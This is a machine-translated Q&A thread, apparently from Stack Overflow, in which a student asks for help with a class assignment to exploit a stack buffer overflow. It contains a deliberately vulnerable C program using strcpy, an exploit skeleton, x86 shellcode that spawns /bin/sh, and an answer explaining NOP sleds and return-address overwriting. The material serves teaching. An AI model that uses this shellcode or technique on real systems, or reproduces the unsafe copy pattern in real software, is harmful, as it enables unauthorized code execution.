2010-10-05 7 views
5

Я пытаюсь понять эту проблему для одного из моих классов comp sci, я использовал каждый ресурс и все еще имею проблемы, если кто-то может дать некоторое представление, я бы очень признателен.Программа эксплойта умышленного переполнения буфера

У меня есть эта «цель» Мне нужно выполнить execve («/ bin/sh») с использованием эксплойта переполнения буфера. При переполнении buf [128] при выполнении небезопасной команды strcpy указатель обратно в буфер появляется в том месте, где система ожидает найти обратный адрес.

target.c

int bar(char *arg, char *out) 
{ 
strcpy(out,arg); 
return 0; 
} 

int foo(char *argv[]) 
{ 
char buf[128]; 
bar(argv[1], buf); 
} 

int main(int argc, char *argv[]) 
{ 
if (argc != 2) 
{ 
    fprintf(stderr, "target: argc != 2"); 
    exit(EXIT_FAILURE); 
} 
foo(argv); 
return 0; 
} 

exploit.c

#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char *args[3]; 
    char *env[1]; 

    args[0] = TARGET; args[1] = "hi there"; args[2] = NULL; 
    env[0] = NULL; 

    if (0 > execve(TARGET, args, env)) 
    fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

shellcode.h

static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

Я понимаю, что нужно заполнить ARGV [1] с более чем 128 байт, то байты над 128 являются обратным адресом, который следует указывать обратно в буфер, чтобы он выполнял внутри/bin/sh внутри. Насколько это верно? Может ли кто-то сделать следующий шаг?

Большое спасибо за любую помощь.

+2

Переполнение стека и переполнение буфера - это две совершенно разные вещи. – BoltClock

+0

Это сильно зависит от вашей системы (компилятор, центральный процессор и т. Д.), И вы не удосужились указать что-либо из этого. –

+0

Я не мог не заметить, что ваш код оболочки является точной копией найденной [здесь] (http://insecure.org/stf/smashstack.html). Вам, вероятно, следует прочитать эту статью и понять, что происходит, чтобы вы могли реализовать свои собственные. Плагиат в университете - серьезный материал. – Paul

ответ

5

Ну, так что вы хотите, чтобы программа выполняла ваш шеллкод. Он уже в машинной форме, поэтому он готов к выполнению системой. Вы сохранили его в буфере. Итак, вопрос будет: «Как система знает, как выполнить мой код?» Точнее, «Как система знает, где искать следующий код для выполнения?» Ответ в этом случае - это обратный адрес, о котором вы говорите.

В принципе, вы на правильном пути. Вы пытались выполнить код? Одна вещь, которую я заметил при выполнении этого типа эксплойта, заключается в том, что это не точная наука. Иногда в памяти есть и другие вещи, которые вы не ожидаете присутствовать там, поэтому вам нужно увеличить количество добавляемых вами байтов в буфер, чтобы правильно выровнять обратный адрес с ожидаемой системой.

Я не специалист по безопасности, но могу сказать вам несколько вещей, которые могут помочь. Один из них заключается в том, что я обычно включаю «NOP Sled» - по существу только серию из 0x90 байт, которые не выполняют ничего, кроме выполнения инструкций NOP на процессоре. Еще один трюк - повторить обратный адрес в конце буфера, так что если даже один из них перезапишет обратный адрес в стеке, вы получите успешное возвращение туда, где хотите.

Таким образом, ваш буфер будет выглядеть следующим образом:

| NOP SLED | SHELLCODE | ПОВТОРНЫЙ ВОЗВРАТ АДРЕС |

(Примечание: это не мои идеи, я получил их от Hacking: Art of Exploitation, Jon Erickson. Я рекомендую эту книгу, если вам интересно узнать об этом больше).

Для вычисления адреса, вы можете использовать что-то похожее на следующее:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer 

int main(int argc, char *argv[]) 
{ 
    int i, offset; 
    long esp, ret, *addr_ptr; 
    char* buffer; 

    offset = 0; 
    esp = sp(); 
    ret = esp - offset; 
} 

Теперь в отставке проведет обратный адрес, который вы хотите, чтобы вернуться, если предположить, что вы выделить буфер, чтобы быть в куче.

+0

Очень хорошо объяснено, спасибо большое за то, что нашли время, чтобы помочь. – CRO

+0

Я был учеником CSCI однажды. Я знаю, что изучение переполнения буфера затруднено - мне действительно нужно было получить аналогичную помощь, когда я взял свой первый курс обучения в области компьютерной архитектуры. :) Просто надеюсь, что смогу помочь. – jwir3

+0

Книга Алтона Джона Эриксона действительно хорошая, я бы порекомендовал «Справочник по Shellcoders». IMHO это более продвинутый, он предполагает, что вы уже знаете некоторые вещи (данные asm, C, ОС ..) – jyz